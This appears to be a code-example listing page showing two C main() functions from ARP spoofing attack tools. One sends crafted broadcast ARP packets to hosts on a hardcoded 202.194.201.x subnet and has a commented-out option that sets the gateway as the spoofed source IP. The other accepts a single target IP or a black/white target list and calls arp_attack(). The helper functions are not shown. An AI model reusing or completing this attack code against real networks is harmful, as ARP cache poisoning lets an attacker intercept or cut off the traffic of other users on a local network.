Пример #1
0
int main ( int argc,char **argv )
{
	struct timeval tvafter,tvpre;
	struct timezone tz;
	gettimeofday ( &tvpre , &tz );

	unsigned char mac[7];
	unsigned char ip[5];
	char dest[16]={0};
	unsigned char broad_mac[7]={0xff,0xff,0xff,0xff,0xff,0xff,0x00};
	//以太网帧首部的硬件地址填FF:FF:FF:FF:FF:FF表示广播
	memset ( mac,0,sizeof ( mac ) );
	memset ( ip,0,sizeof ( ip ) );
	if ( GetLocalMac ( ETH_DEVICE, mac,ip ) ==-1 )
		return ( -1 );
	//源IP地址设置为网关
//	inet_aton ( "202.194.201.254", ( struct in_addr * ) ip );

	printf ( "local Mac=[%s] Ip=[%s]\n", mac_ntoa ( mac ),inet_ntoa ( * ( struct in_addr * ) ip ) );
	printf("\n");

	int i=0;
	sprintf ( dest,"202.194.201.%d",i );
	arp_attack(mac,broad_mac,ip,dest);

//	int i=0;
//	while(1)
	{
		for(i=200;i<=200;i++)
		{
//			getchar();
			sprintf ( dest,"202.194.201.%d",i );
			/* 源mac 
			 * 目的mac
			 * 源ip
			 * 目的ip
			 */
			sendpkg ( mac,broad_mac,ip,dest );
//			sleep(1);
		}
	}


	gettimeofday ( &tvafter , &tz );
	printf ( "\n%dms\n", ( tvafter.tv_sec-tvpre.tv_sec ) *1000+ ( tvafter.tv_usec-tvpre.tv_usec ) /1000 );

	return 0;
} 
Пример #2
0
int main(int argc, const char **argv)
{
	atklist_st atklist;
	int atk_type = 0;
	struct in_addr *tmp_atkip;

	if (argc != 2) {
		puts("invalid usage !");
		return -1;
	}
	if (argv[1][0] != '-') {
		/* single mode */
		tmp_atkip = malloc(sizeof(struct in_addr));
		if (0 == inet_aton(argv[1], tmp_atkip)) {
			printf("invalid address of '%s'.\n", argv[1]);
			free(tmp_atkip);
			return -1;
		}
		atklist.atk_type = ATK_SINGLE;
		atklist.atk_num = 1;
		atklist.atk_list = tmp_atkip;
	} else if (strlen(argv[1]) != 2) {
		/* error */
		printf("invalid argument of '%s'.\n", argv[1]);
		return -1;
	}else {
		/* write or black mode */
		switch (argv[1][1]) {
		case ATK_BLACK:
			atk_type = ATK_BLACK; break;
		case ATK_WHITE:
			atk_type = ATK_WHITE; break;
		default:
			printf("invalid argument of '%s'.\n", argv[1]);
			return -1;
		}
	}

	get_attack_config(&atklist, atk_type);
	
	arp_attack(&atklist);
	
	return 0;
}